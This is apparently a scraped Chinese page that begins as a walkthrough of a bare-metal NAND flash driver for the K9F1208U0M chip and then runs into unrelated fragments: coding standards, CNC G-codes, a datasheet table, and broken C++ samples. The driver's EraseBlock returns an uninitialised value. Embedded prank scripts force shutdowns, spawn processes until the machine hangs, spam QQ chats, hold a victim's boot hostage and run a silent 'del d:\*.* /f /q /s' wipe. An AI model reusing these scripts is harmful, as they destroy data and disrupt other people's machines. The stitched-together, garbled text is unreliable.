nandflash裸机驱动程序的分析
nandflash在嵌入式设备中广泛的应用，学些nandflash的重要性不言而喻，这里分析一段实例代码，不管是编码规范还是程序的结构都是很有价值的。下边是K9F1208U0M的实例代码。
首先看nand.h文件：
#ifndef __NAND_Flash__
#define __NAND_Flash__
extern void InitNandCfg(void); //初始化K9F1208UOM NAND flash 配置extern unsigned int ReadChipId(void); //读取NAND Flash的ID号extern unsigned short ReadStatus(void); //读取NAND Flash的状态extern unsigned int EraseBlock(unsigned int addr); //NAND Flash块擦除extern void ReadPage(unsigned int addr, unsigned char *buf); //K9F1208U0M nand flash 的页数据读
extern void WritePage(unsigned int addr, unsigned char *buf); //K9F1208U0M nand flash 的页数据写
extern void MarkBadBlk(unsigned int addr); //屏蔽K9F1208U0M nand flash 的坏块
extern int CheckBadBlk(unsigned int addr); //检查K9F1208U0M nand flash 的坏块
extern void InitNandFlash(void); //K9F1208U0M nand flash 的初始化
#endif
需要详细看的是nandflash.c文件：
//==================================================== // 常量定义区
//==================================================== #define EnNandFlash() (rNFCONF |= 0x8000) //bit15=1 enable NAND flash controller
#define DsNandFlash() (rNFCONF &= ~0x8000) //bit15=1 disable NAND flash controller
#define InitEcc() (rNFCONF |= 0x1000) //bit12=1 initialize ECC
#define NoEcc() (rNFCONF &= ~0x1000) //bit12=0 initialize ECC
#define NFChipEn() (rNFCONF &= ~0x800) //bit11=0 NAND flash nFCE = L (active)
#define NFChipDs() (rNFCONF |= 0x800) //bit11=1 NAND flash nFCE = H (inactive)
#define WrNFCmd(cmd) (rNFCMD = (cmd)) //write commond to nand flash
#define WrNFAddr(addr) (rNFADDR = (addr)) //write address to nand flash
#define WrNFDat(dat) (rNFDATA = (dat)) //write data to nand flash
#define RdNFDat() (rNFDATA) //read data from nand flash
#define RdNFStat() (rNFSTAT) //read status from nand flash
#define NFIsBusy() (!(rNFSTAT&1)) //whether nand flash is busy?
#define NFIsReady() (rNFSTAT&1) //whether nand flash is ready?
#define READCMD0 0 //Read0 model command == Page addr 0~127
#define READCMD1 1 //Read1 model command == Page addr 128~511
#define READCMD2 0x50 //Read2 model command == Page addr 512~527
#define ERASECMD0 0x60 //Block erase command 0
#define ERASECMD1 0xd0 //Block erase command 1
#define PROGCMD0 0x80 //page write command 0
#define PROGCMD1 0x10 //page write command 1
#define QUERYCMD 0x70 //query command
#define RdIDCMD 0x90 //read id command
//==================================================== // 函数定义区
//==================================================== #include "NAND_Flash.h"
#include "2410addr.h"
static unsigned short NandAddr;
//等待NAND FLASH不忙
void wait_idle(void)
{
int i;
while(!(rNFSTAT & 0x1)) //如果是忙则一直等待下去.
for(i=0; i<10; i++);
}
/* 在第一次实用NAND Flash前，复位一下NAND Flash */
void reset_nand()
{
int i=0;
rNFCONF &= ~0x800; //激活NANDFlash
for(; i<10; i++);
rNFCMD = 0xff; //看数据手册第9页上的命令.
wait_idle();
}
//==================================================== // 语法格式：void InitNandCfg(void)
// 功能描述: 初始化K9F1208U0M nand flash 配置
// 入口参数: 无
// 出口参数: 无
//====================================================
void InitNandCfg(void)
{
//enable nand flash control, initilize ecc, chip disable,
//基本所有的falsh都可以公用的。
rNFCONF = (1<<15)|(1<<12)|(1<<11)|(7<<8)|(7<<4)|(7);
//使用控制器,使用ECC,不激活NandFlash,持续时间都设定为HCLK*8.
}
//==================================================== // 语法格式：unsigned int ReadChipId(void)
// 功能描述: 读Nand Flash的ID号
// 入口参数: 无
// 出口参数: Nand Flash ID
//==================================================== unsigned int ReadChipId(void)
{
unsigned int id;
NFChipEn();
WrNFCmd(RdIDCMD); //写命令90H
WrNFAddr(0); //写地址00H
wait_idle();
id = RdNFDat()<<8; //读ECH
id |= RdNFDat(); //读Device Code.
NFChipDs();
return id;
}
//==================================================== // 语法格式：unsigned short ReadStatus(void)
// 功能描述: 读Nand Flash的状态
// 入口参数: 无
// 出口参数: Nand Flash 状态
//==================================================== unsigned short ReadStatus(void)
{
unsigned short stat;
NFChipEn();
WrNFCmd(QUERYCMD); //写命令0x70
stat = RdNFDat();
NFChipDs();
return stat;
}
//==================================================== // 语法格式：unsigned int EraseBlock(unsigned int addr)
// 功能描述: Nand Flash块擦除
// 入口参数: 块地址
// 出口参数: 擦除状态0 为成功非0 失败
//==================================================== unsigned int EraseBlock(unsigned int addr)
{
unsigned char stat;
addr &= ~0x1f; //保留9-25位
NFChipEn(); //使能
WrNFCmd(ERASECMD0); //写命令0x60
WrNFAddr(addr);//擦除只针对块操作
WrNFAddr(addr>>8);
if(NandAddr) //判断Flash的型号
WrNFAddr(addr>>16);
WrNFCmd(ERASECMD1); //发送擦除命令0xD0H
wait_idle(); //等待，直到操作完成为止。
NFChipDs(); //失能
return stat&1;
}
//==================================================== // 语法格式：void ReadPage(unsigned int addr, unsigned char *buf)
// 功能描述: 读取页的内容
// 入口参数: 1，页地址2，读出的页内数据
// 出口参数: 无
//==================================================== /**** K9F1208U0M nand flash 的页数据读****/
void ReadPage(unsigned int addr,unsigned char *buf)//addr = page address
{ //该程序是读取一页(512字节)内容.
unsigned short i;
NFChipEn();
WrNFCmd(READCMD0);
WrNFAddr(0); //从0地址开始读取.
WrNFAddr(addr);
WrNFAddr(addr>>8);
if(NandAddr)
WrNFAddr(addr>>16);
InitEcc();
wait_idle();
for(i=0; i<512; i++)
buf[i] = RdNFDat();
NFChipDs();
}
//==================================================== // 语法格式：extern unsigned int WritePage(unsigned int addr, unsigned char *buf)
// 功能描述: 写页数据
// 入口参数: 1，页地址2，写页内数据
// 出口参数: 无
//====================================================
/**** K9F1208U0M nand flash 的页数据写****/
void WritePage(unsigned int addr, unsigned char *buf)
{
unsigned short i;
unsigned char tmp[3];
NFChipEn();
WrNFCmd(PROGCMD0); //写命令0x80
WrNFAddr(0); //低八位为0
WrNFAddr(addr); //页地址
WrNFAddr(addr>>8); //
if(NandAddr)
WrNFAddr(addr>>16);
InitEcc();
for(i=0; i<512; i++)
WrNFDat(buf[i]);
tmp[0] = rNFECC0;//产生的3位校验码
tmp[1] = rNFECC1;
tmp[2] = rNFECC2;
WrNFDat(tmp[0]);//将校验码重新写入页面
WrNFDat(tmp[1]);
WrNFDat(tmp[2]);
WrNFCmd(PROGCMD1);//正式开始写数据
wait_idle();
NFChipDs();
}
//==================================================== // 语法格式：extern void MarkBadBlk(unsigned int addr)
// 功能描述: 屏蔽K9F1208U0M nand flash 的坏块
// 入口参数: 块地址
// 出口参数: 无
//==================================================== void MarkBadBlk(unsigned int addr)
{
addr &= ~0x1f;
NFChipEn();
WrNFCmd(READCMD2); //指向C区0x50
WrNFCmd(PROGCMD0); //0x80
WrNFAddr(4); //mark offset 4,5,6,7
WrNFAddr(addr);
WrNFAddr(addr>>8);
if(NandAddr)
WrNFAddr(addr>>16);
WrNFDat(0); //mark with 0 将坏块标记为0
WrNFDat(0);
WrNFDat(0); //mark with 0
WrNFDat(0);
WrNFCmd(PROGCMD1); //0x10
wait_idle();
WrNFCmd(READCMD0); //point to area a
NFChipDs();
}
//==================================================== // 语法格式：int CheckBadBlk(unsigned int addr)
// 功能描述: 检查K9F1208U0M nand flash 的坏块
// 入口参数: 块地址
// 出口参数: 是否为坏块0 坏块1非坏块
//==================================================== int CheckBadBlk(unsigned int addr)
{
unsigned char dat;
addr &= ~0x1f;
NFChipEn();
WrNFCmd(READCMD2); //point to area c
WrNFAddr(5); //第517个字节(5=517&0xf)
WrNFAddr(addr);
WrNFAddr(addr>>8);
if(NandAddr)
WrNFAddr(addr>>16);
wait_idle();
dat = RdNFDat();
WrNFCmd(READCMD0); //point to area a
NFChipDs();
return (dat!=0xff);
}
//==================================================== // 语法格式：void InitNandFlash(void)
// 功能描述: K9F1208U0M nand flash 的初始化
// 入口参数: 无
// 出口参数: 无
//==================================================== static int support=0;
void InitNandFlash(void)
{
unsigned int i;
InitNandCfg(); //初始化配置
reset_nand();
i = ReadChipId(); //读取NAND Flash的ID号
if((i==0x9873)||(i==0xec75))
NandAddr = 0;
else if(i==0xec76)
{
support=1; //by chang
NandAddr = 1;
}
else
{
return;
}
}
从上边的代码可以看出，尽管nandflash自身的操作时序非常的复杂，但在nandflash控制器的帮助下，nandflash的操作就变得非常的简单，这里只需要操作少量的寄存器就可以完成操作。首先分析代码，在驱动程序编程中，用的非常广泛的就是宏的定义，
#define EnNandFlash() (rNFCONF |= 0x8000) //bit15=1 enable NAND flash controller
#define DsNandFlash() (rNFCONF &= ~0x8000) //bit15=1 disable NAND flash controller可以在上边看到，同样是一个操作，定义成宏之后，就可以很直观的通过宏名来识别具体要完成的操作，所以以后在写一些和硬件相关的操作与函数时，要多加使用宏定义。通常norflash与nandflash的区别在网上是很容易查到的，这里不重复了，这里看一些nandflash 的ecc校验，nandflash存在两种导致数据出错的问题就是反转与坏块，坏块需要标记出来，以后不能在存入数据，而数据的反转是一种正常的现象，通常需要检测多次如果成功就认为是反转，不用标记为坏块了，通常情况下，在写数据之前需要进行坏块检测，首先关于ecc，ecc的实现在ARM中是通过硬件来完成，操作的时候只需要把经过ECC校验的结构重新写入到nandflash的相应区域就可以了。nandflash是串行的数据传输，而norflash是三总线结构的存储器件，所以nandflash是不能随即读写的，通常的nandflash 占用的I/O口有限，数据需要通过多次发送才能完成，我们需要了解nandflash的组织模式，nandflash通过层层细化，划分为不同的小单元进行操作。在进行擦除操作时，是以block 为单位进行操作的，而编程与读取操作是以page为单位进行操作的。
//根据半径计算圆的周长和面积#include NandFlash简介 分类：Linux2013-03-06 14:34 2945人阅读评论(0) 收藏举报 Flash Memory中文名字叫闪存，是一种长寿命的非易失性（在断电情况下仍能保持所存储的数据信息）的存储器。 从名字中就可以看出，非易失性就是不容易丢失，数据存储在这类设备中，即使断电了，也不会丢失，这类设备，除了Flash，还有其他比较常见的入硬盘，ROM等，与此相对的，易失性就是断电了，数据就丢失了，比如大家常用的内存，不论是以前的SDRAM，DDR SDRAM，还是现在的DDR2，DDR3等，都是断电后，数据就没了。 FLASH的分类：功能特性分为两种：一种是NOR型闪存，以编码应用为主，其功能多与运算相关；另一种为NAND型闪存，主要功能是存储资料，如数码相机中所用的记忆卡。 NOR FLASH和NAND FLASH NOR和NAND是现在市场上两种主要的非易失闪存技术。Intel于1988年首先开发出NOR flash技术，彻底改变了原先由EPROM和EEPROM 一统天下的局面。紧接着，1989年，东芝公司发表了NAND flash结结，强调降低每比特的成本，更高的性能，并且象磁盘一样可以通过接口轻松升级。但是经过了十多年之后，仍然有相当多的硬件工程师分不清NOR和NAND闪存。 NOR的读速度比NAND稍快一些。 NAND的写入速度比NOR快很多。 NAND的4ms擦除速度远比NOR的5s快。 大多数写入操作需要先进行擦除操作。 NAND的擦除单元更小，相应的擦除电路更少 在NOR Flash中, 所有的存储区域都保证是完好的, 同时也拥有相同的耐久性。在硬模中专门制成了一个相当容量的扩展存储单元—他们被用来修补存储阵列中那些坏的部分，这也是为了保证生产出来的产品全部拥有完好的存储区域。为了增加产量和降低生产成本, NAND Flash 器件中存在一些随机bad block 。为了防止数据存储到这些坏的单元中, bad block 在IC烧录前必须先识别。在一些出版物中, 有人称bad block 为“bad block”, 也有人称bad block 为“invalid block”。其实他们拥有相同的含义, 指相同的东西。 从实际的应用上来说, NOR Flash与NAND Flash主要的区别在于接口。NOR Flash拥有完整的存取-映射访问接口, 它拥有专门的地址线和数据线, 类似与EPROM。然而在NAND Flash中没有专门的地址线。它发送指令,地址和数据都通过8/16位宽的总线(I/O接口)到内部的寄存器。 SLC/MLC基本原理 C程序代码大全 This manuscript was revised on November 28, 2020 < 1 Java 编程规范 1.1 排版 1.1.1 规则 规则1程序块要采用缩进风格编写，缩进的空格数为4个，不允许使用TAB缩进。(1.42+) 说明：缩进使程序更易阅读，使用空格缩进可以适应不同操作系统与不同开发工具。 规则2分界符（如大括号…{?和…}?）应各独占一行，同时与引用它们的语句左对齐。在函数体的开始、类和接口的定义、以及if、for、do、while、switch、case语句中的程序 或者static、,synchronized等语句块中都要采用如上的缩进方式。(1.42+) 示例: if (a>b) { doStart(); } 规则3较长的语句、表达式或参数（>80字符）要分成多行书写，长表达式要在低优先级操作符处划分新行，操作符放在新行之首，划分出的新行要进行适当的缩进，使排版整齐， 语句可读。(1.42+) 示例： if (logger.isDebugEnabled()) { logger.debug("Session destroyed,call-id" + event.getSession().getCallId()); } 规则4不允许把多个短语句写在一行中，即一行只写一条语句(1.42+) 说明：阅读代码更加清晰 示例：如下例子不符合规范。 Object o = new Object(); Object b = null; 规则5if, for, do, while, case, switch, default 等语句自占一行，且if, for, do, while,switch等语句的执行语句无论多少都要加括号{},case 的执行语句中如果定义变量必须加括号{}。 (1.42+) 说明：阅读代码更加清晰，减少错误产生 示例： if (a>b) { doStart(); } 数控机床标准G、M代码 一．准备功能字G 准备功能字是使数控机床建立起某种加工方式的指令，如插补、刀具补偿、固定循环等。G功能字由地址符G和其后的两位数字组成，从G00—G99共100种功能。JB3208-83标准中规定如下表： 代码功能 作用范 围 功能 代码 功能作用范围功能 G00 点定位 G50 * 刀具偏置0/- G01 直线插补 G51 * 刀具偏置+/0 G02 顺时针圆弧插补 G52 * 刀具偏置-/0 G03 逆时针圆弧插补 G53 直线偏移注销 G04 * 暂停 G54 直线偏移 X G05 * 不指定 G55 直线偏移Y G06 抛物线插补 G56 直线偏移Z G07 * 不指 定 G57 直线偏移XY G08 * 加速 G58 直线偏移XZ G09 * 减速 G59 直线偏移YZ G10-G16 * 不指定 G60 准确定位（精） G17 XY平面选 择 G61 准确定位（中） G18 ZX平面选择 G62 准确定位（粗） G19 YZ平面选择 G63 * 该丝 G20-G32 * 不指定 G64-G67 * 不指定 G33 螺纹切削，等螺距 G68 * 刀具偏置，内角 G34 螺纹切削，增螺距 G69 * 刀具偏置，外角 G35 螺纹切削，减螺距 G70-G79 * 不指定 G36-G39 * 不指定 G80 固定循环注销 G40 刀具补偿/刀具偏置 注销 G81-G89 固定循环 G41 刀具补偿--左 G90 绝对尺寸 G42 刀具补偿-- 右 G91 增量尺寸 G43 * 刀具偏置--正 G92 * 预置寄存 G44 * 刀具偏置--右 G93 进给率，时间倒数 G45 * 刀具偏置+/+ G94 每分钟进给 G46 * 刀具偏置+/- G95 主轴每转进给 G47 * 刀具偏置-/- G96 恒线速 度 G48 * 刀具偏置-/+ G97 每分钟转数（主轴） G49 * 刀具偏置0/+ G98-G99 * 不指定 注：*表示如作特殊用途，必须在程序格式中说明二．辅助功能字M 程序编写规范及约定 (仅供内部使用) 文档作者：_______________ 日期：___/___/___ 开发/测试经理：_______________ 日期：___/___/___ 项目经理：_______________ 日期：___/___/___ 请在这里输入公司名称 版权所有不得复制 目录 程序编写规范及约定 (3) 1编写目的 (3) 2代码编写风格 (3) 2.1单元风格 (3) 2.2语句风格 (3) 3命名规则 (3) 3.1命名约定 (3) 3.1.1标志符 (3) 3.1.2类class (3) 3.1.3枚举类型enum (4) 3.1.4委托delegate (4) 3.1.5常量const (4) 3.1.6接口interface (4) 3.1.7方法function (4) 3.1.8命名空间namespace (4) 3.1.9参数 (4) 3.1.10局部变量 (5) 3.1.11数据成员 (5) 3.1.12自定义异常类 (5) 3.1.13命名缩写 (5) 3.1.14数据库命名 (5) 3.2代码编写命名规范 (6) 3.3界面常用控件命名约定 (6) 3.4文件命名规范 (7) 3.4.1文档文件命名 (7) 3.4.2配置文件命名 (7) 3.4.3程序文件命名 (7) 程序编写规范及约定 1编写目的 为了使编写代码具有可读性、可理解性、可维护性，对程序编写人员代码实行统一风格，使得程序代码能够以名称反映含义、以形式反映结构。此文档可供程序代码编写人员及代码维护人员使用。 2代码编写风格 2.1单元风格 2.2语句风格 3命名规则 3.1命名约定 Pascal和Camel命名约定： 编程的命名方式主要有Pascal和Camel两种（Pascal：每个单词的首字母大写，例如ProductType；Camel：首个单词的首字母小写，其余单词的首字母大写，例如productType） 3.1.1标志符 规则：Pascal、Camel 实例与描述：例子说明 3.1.2类class 规则：Pascal 实例与描述：Application vbs整人代码大集合，收集的比较全，喜欢的朋友可以参考下。不要搞破坏，学习vbs的朋友非常有帮助，死循环的使用比较多。 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> 复制代码代码如下: On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit QQ骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈 ------------------------------------------------------------------------------ do msgbox "Y ou are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器，直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do wsh.run "calc" loop ----------------------------------------------------------------------------- 四、直接关机 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true ----------------------------------------------------------------------------- 五、删除D:\所有文件 --------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true Q1’2011 DATABOOK Rev 0.1 NAND Flash –SLC / MLC / TLC AND Flash N NAND Flash SLC COMPONENT Product Tech Density Block Size Stack Vcc/Org Package Availability Remark HY27US08281A 90nm 128Mb 16KB Mono 3.3v/X8TSOP/USOP Now HY27US08561A 90nm 256Mb 16KB Mono 3.3v/X8TSOP/USOP/FBGA Now HY27US08121B 70nm 512Mb 16KB Mono 3.3v/X8TSOP/USOP/FBGA Now H27U518S2C 57nm 512Mb 16KB Mono 3.3v/X8TSOP Now HY27US081G1M 70nm 1Gb 16KB Mono 3.3v/X8USOP Now HY27UF081G2A 70nm 1Gb 128KB Mono 3.3v/X8TSOP/USOP/FBGA Now HY27US081G2A 70nm 1Gb 128KB Mono 1.8v/X8FBGA Now H27U1G8F2B 48nm 1Gb 128KB Mono 3.3v/X8TSOP,FBGA Now H27U1G8F2B 48nm 1Gb 128KB Mono 1.8v/X8FBGA Now H27U1G8F2CTR 32nm 1Gb 128KB Mono 1.8v/X8TSOP Q4 '11H27U1G8F2CFR 32nm 1Gb 128KB Mono 1.8v/X8FBGA Q4 '11HY27UF082G2B 57nm 2Gb 128KB Mono 3.3v/X8TSOP,FBGA, LGA Now H27U2G8F2C 41nm 2Gb 128KB Mono 3.3v/X8TSOP Now HY27UF084G2B 57nm 4Gb 128KB Mono 3.3v/X8TSOP Now H27U4G8F2D 41nm 4Gb 128KB Mono 3.3v/X8TSOP Now HY27UG088G5(D)B 57nm 8Gb 128KB DDP 3.3v/X8TSOP Now 2CE/Dual CH.H27U8G8G5D 41nm 8Gb 128KB Mono 3.3v/X8TSOP Now H27QBG8GDAIR-BCB 32nm 32Gb 512KB DDP 1.8v/x8VFBGA Now 2CE/Dual CH.H27QCG8HEAIR-BCB 32nm 64Gb 512KB QDP 1.8v/x8VFBGA Now 4CE/Dual CH.H27QDG8JEAJR-BCB 32nm 128Gb 512KB ODP 1.8v/x8 JFBGA Feb. '11 4CE/Dual CH.NAND Flash MLC COMPONENT Product Tech Density Block Size Stack Vcc/Org Package Availability Remark H27U8G8T2B 48nm 8Gb 512KB Mono 3.3v/X8TSOP Now H27UAG8T2M 48nm 16Gb 512KB(4KB Page)Mono 3.3v/X8TSOP/VLGA Now H27UAG8T2A 41nm 16Gb 512KB(4KB Page)Mono 3.3v/X8TSOP Now H27UBG8U5A 41nm 32Gb 512KB(4KB Page)DDP 3.3v/X8TSOP Now H27UBG8T2M 41nm 32Gb 512KB(4KB Page)Mono 3.3v/X8VLGA Now H27UBG8T2A 32nm 32Gb 2MB(8KB Page)SDP 3.3v/x8TSOP / VLGA Now H27UCG8VFA 41nm 64Gb 512KB(4KB Page)QDP 3.3v/X8TSOP Now H27UCG8UDM 41nm 64Gb 512KB(4KB Page)DDP 3.3v/X8VLGA Now Dual CH.H27UCG8U5(D)A 32nm 64Gb 2MB(8KB Page)DDP 3.3v/x8TSOP / VLGA Now Dual CH. LGA H27UCG8T2M 26nm 64Gb 2MB(8KB Page)SDP 3.3v/x8VLGA Now H27UDG8VEM 41nm 128Gb 512KB(4KB Page)QDP 3.3v/X8VLGA Now 4CE,Dual CH.H27UDG8V5(E)A 32nm 128Gb 2MB(8KB Page)QDP 3.3v/x8TSOP / VLGA Now 4CE,Dual CH.H27UEG8YEA 32nm 256Gb 2MB(8KB Page)ODP 3.3v/x8VLGA Now 4CE,Dual CH.H27UAG8T2B 32nm 16Gb 2MB(8KB Page)SDP 3.3v/x8TSOP Now H27UBG8T2B 26nm 32Gb 2MB(8KB Page)SDP 3.3v/x8TSOP Now Legacy H27UCG8U2B 26nm 64Gb 2MB(8KB Page)DDP 3.3v/x8TSOP Jan. '11Legacy H27UDG8V2B 26nm 128Gb 2MB(8KB Page)QDP 3.3v/x8FBGA-100Feb. '11HS(ONFi2.2)H27UEG8Y2B 26nm 256Gb 2MB(8KB Page) ODP 3.3v/x8 FBGA-100 Mar. '11 HS(ONFi2.2)NAND Flash TLC COMPONENT Product Tech Density Block Size Stack Vcc/Org Package Availability Remark H27UAG8M2M 41nm 16Gb 768KB (4KB page)SDP 3.3V/x8VLGA Now H27UBG8M2A 32nm 32Gb 1MB (4KB page) SDP 3.3V/x8 VLGA Now ------------------------------------------------------------------------摘自宋鲁生程序设计大赛 乘法口诀表 #include 用一维数组统计学生成绩 #include 百度文库- 让每个人平等地提升自我 1 程序代码注释编写规范 为提高控制程序的阅读性与可理解性，现制定相关代码程序代码注释编写的编写规范。 一般情况下，源程序有效注释量必须在20％以上，注释的原则是有助于对程序的阅读理解，在该加的地方都加了，注释不宜太多也不能太少，注释语言必须准确、易懂、简洁。 常规注释有以下两种方式。 单行:以"文件、.inc文件、.def文件、编译说明文件.cfg等）头部应进行注释，注释必须列出：版权说明、版本号、生成日期、作者、内容、功能、与其它文件的关系、修改日志等，头文件的注释中还应有函数功能简要说明。 示例：下面这段头文件的头注释比较标准，当然，并不局限于此格式，但上述信息建议要包含在内。 /************************************************* (C), MicTiVo International. Co., Ltd. 1.File : . History: Date: Author: Modification: 2. .. *************************************************/ 一、源文件头 源文件头部应进行注释，列出：版权说明、版本号、生成日期、作者、模块目的/功能、主要函数及其功能、修改日志等。 示例：下面这段源文件的头注释比较标准，当然，并不局限于此格式，但上述信息建议要包含在内。 /************************************************************ (C), MicTiVo International. Co., Ltd. FileName: Author: Version : Date: : / /*receive _process() */ 意:与溢出中断写初值不同} C语言的自动关机程序和捉弄人的小程序 可以用C语言中的system()函数来实现系统的自动关机程序，可以设置多长时间后将自动关机。当然马上关机也是可以的，我们就可以恶搞别人计算机了（你事先得知道怎么解），将写好的自动关机程序复制到别人电脑，然后将可执行的 文件设为开机自动启动，别人每次开机的时候电脑都会莫名其妙的自动关闭。哈、更狠的是将自动关机程序改为自动重启程序（这是很容易的），后果你一定能想到了吧~还可以改进一下，就是每次开机的时候让用户输入“我是猪”，不然的话就20秒钟之后就自动关机或者自动重启~把“我是猪”换成其他的词说不定更好玩，比如“我爱你”、“我爱×××”之类，你觉得会有严重后果的就不要玩哦、 好啦，就说到这里，下面送上这两个程序的源代码。一个是自动关机程序，很简单，另一个是让用户输入“我是猪”不然就多长时间之后自动关机 源程序1： #include { system("shutdown -f -s -t 100"); Sleep(5000); system("shutdown -a"); return 0; } 这个程序5秒后就取消了自动关机了，自己人不整自己人~ 源程序2： #include NAND FLASH的基础知识 NAND Flash 的数据是以bit 的方式保存在memory cell，一般来说，一个cell 中只能存储一个bit。这些cell 以8 个或者16 个为单位，连成bit line，形成所谓的byte(x8)/word(x16)，这就是NAND Device 的位宽。这些Line 会再组成Page，(Nand Flash 有多种结构，我使用的Nand Flash 是K9F1208,下面内容针对三星的K9F1208U0M)，每页528Byte，每32 个page 形成一个Block， Sizeof(block)=16kByte = 32 page = 32 * 528 byte Numberof(block)=64Mbyte/16kbyte=4096 1page=528byte=512byte(Main Area)+16byte(Spare Area) Nand flash 以页为单位读写数据，而以块为单位擦除数据。按照这样的组织方式可以形成所谓的三类地址： --Block Address -- Page Address --Column Address 对于NAND Flash 来讲，地址和命令只能在I/O[7:0]上传递，数据宽度是8 位。 512byte需要9bit来表示，对于528byte系列的NAND，这512byte被分成1st half和2nd half,各自的访问由地址指针命令来选择，A[7:0]就是所谓的column address。32 个page 需要5bit 来表示，占用A[13:9]，即该page 在块内的相对地址。Block的地址是由A14 以上的bit 来表示，例如512Mbit的NAND，共4096block，因此，需要12 个bit 来表示，即A[25:14]，如果是1Gbit 的528byte/page的NAND Flash，则block address用A[26:24]表示。而page address就是blcok address|page address in block NAND Flash 的地址表示为：Block Address|Page Address in block|halfpage pointer|Column Address 地址传送顺序是Column Address,Page Address,Block Address。由于地址只能在I/O[7:0]上传递，因此，必须采用移位的方式进行。例如，对于512Mbit x8 的NAND flash，地址范围是0~0x3FF_FFFF，只要是这个范围内的数值表示的地址都是有效的。以NAND_ADDR 为例： ◆第1 步是传递column address，就是NAND_ADDR[7:0]，不需移位即可传递到I/O[7:0] 上，而halfpage pointer 即bit8 是由操作指令决定的，即指令决定在哪个halfpage 上进行读写。而真正的bit8 的值是don't care 的。 ◆第2 步就是将NAND_ADDR 右移9 位，将NAND_ADDR[16:9]传到I/O[7:0]上 ◆第3 步将NAND_ADDR[24:17]放到I/O 上 ◆第4 步需要将NAND_ADDR[25]放到I/O 上因此，整个地址传递过程需要4 步才能 完成，即4-step addressing。 如果NAND Flash 的容量是256Mbit 以下，那么，block adress 最高位只到bit24，因此寻址只需要3 步。下面，就x16 的NAND flash 器件稍微进行一下说明。由于一个page 的main area 的容量为256word，仍相当于512byte。但是，这个时候没有所谓的1st halfpage 和2nd halfpage 之分了，所以，bit8就变得没有意义了，也就是这个时候bit8 完全不用管，地址传递仍然和x8 器件相同。除了，这一点之外，x16 的NAND使用方法和x8 的使用方法完全相同。 正如硬盘的盘片被分为磁道，每个磁道又分为若干扇区，一块nand flash也分为若干block，每个block分为如干page。一般而言，block、page之间的关系随着芯片的不同而不同，典型的分配是这样的 C 经典程序代码大全 #include const float PI= 3.1416; //声明常量(只读变量)PI为 3.1416 float fCir_L(float); //声明自定义函数fCir_L()的原型 float fCir_S(float); //声明自定义函数fCir_S()的原型 //以下是main()函数 main() { float r,l,s; //声明3个变量 cout>r; //键盘输入 l=fCir_L(r); //计算圆的周长，赋值给变量l s=fCir_S(r); //计算圆的面积，赋值给变量s cout=0.0) //如果参数大于0，则计算圆的周长 z=2*PI*x; return(z); //返回函数值 } //定义计算圆的面积的函数fCir_S() float fCir_S(float x) { float z=- 1.0; //声明局部变量 if (x>=0.0) //如果参数大于0，则计算圆的面积 z=PI*x*x; return(z); //返回函数值 } /* Program: P1- 2.CPP Written by: Hap Date written: 02:11:10 */ #include void main(void) { double s1,s2,s3; s1= 1.5; /* 对变量s1赋值*/ cout main() { double r= 1.0; cout>r; //键盘输入 l=2* 3.1416*r; //计算圆的周长，赋值给变量l cout //包含iostream.h头文件 void main() { //输出字符常量.变量和字符串 char c1= A ; cout //包含iostream.h头文件 main() { //输入输出字符 char c; cin>>c; cout>n; cout>x; cout>n; cout>c>>n>>x; cout //包含iostream.h头文件 main() { //声明整型变量 int a,b; //从键盘上为整型变量赋值cout>a; cout>b; //整型数的算术运算 cout //包含iostream.h 头文件 main() { //声明变量，并初始化 int a=010,b=10,c=0X10; //以进制形式显示数据 cout>a; cout>b; cout>c; cout //包含iostream.h头文件 #include // iomanip.h头文件包含setprecision()的定义 main() { //float型变量的声明.输入.计算和输出 float fx,fy; cout>fx; cout>fy; cout>dx; cout>dy; cout //包含iostream.h 头文件 main() { //字符类型变量的声明 char c1= A ; char c2; //字符数据的运算及输出 c2=c1+32; cout>c1>>c2; cout //包含iostream.h头文件 main() { char c1= \a ,TAB= \t ; //阵铃一声 cout //包含iostream.h头文件 main() 程序代码注释编写规范 XXX份公司 为提高控制程序的阅读性与可理解性，现制定相关代码程序代码注释编写的编写规范。 一般情况下，源程序有效注释量必须在20％以上，注释的原则是有助于对程序的阅读理解，在该加的地方都加了，注释不宜太多也不能太少，注释语言必须准确、易懂、简洁。 常规注释有以下两种方式。 单行:以"//"符号开始，任何位于该符号之后的本行文字都视为注释。 多行:以"/*"符号开始，以"*/"结束。任何介于这对符号之间的文字都视为注释。 一、说明性文件 说明性文件（如头文件.h文件、.inc文件、.def文件、编译说明文件.cfg等）头部应进行注释，注释必须列出：版权说明、版本号、生成日期、作者、内容、功能、与其它文件的关系、修改日志等，头文件的注释中还应有函数功能简要说明。 示例：下面这段头文件的头注释比较标准，当然，并不局限于此格式，但上述信息建议要包含在内。 /************************************************* COPYRIGHT (C), MicTiVo International. Co., Ltd. File NAME: // 文件 Author: Version: Date: // 作者、版本及完成日期 DESCRIPTION: // 用于详细说明此程序文件完成的主要功能，与其他模块 // 或函数的接口，输出值、取值范围、含义及参数间的控 // 制、顺序、独立或依赖等关系 Others: // 其它内容的说明 Function List: // 主要函数列表，每条记录应包括函数名及功能简要说明 1.... History: // 修改历史记录列表，每条修改记录应包括修改日期、修改 // 者及修改内容简述 1. Date: Author: Modification: 2. .. *************************************************/ 二、源文件头 源文件头部应进行注释，列出：版权说明、版本号、生成日期、作者、模块目的/功能、主要函数及其功能、修改日志等。 示例：下面这段源文件的头注释比较标准，当然，并不局限于此格式，但上述信息建议要包含在内。 /************************************************************NandFlash简介
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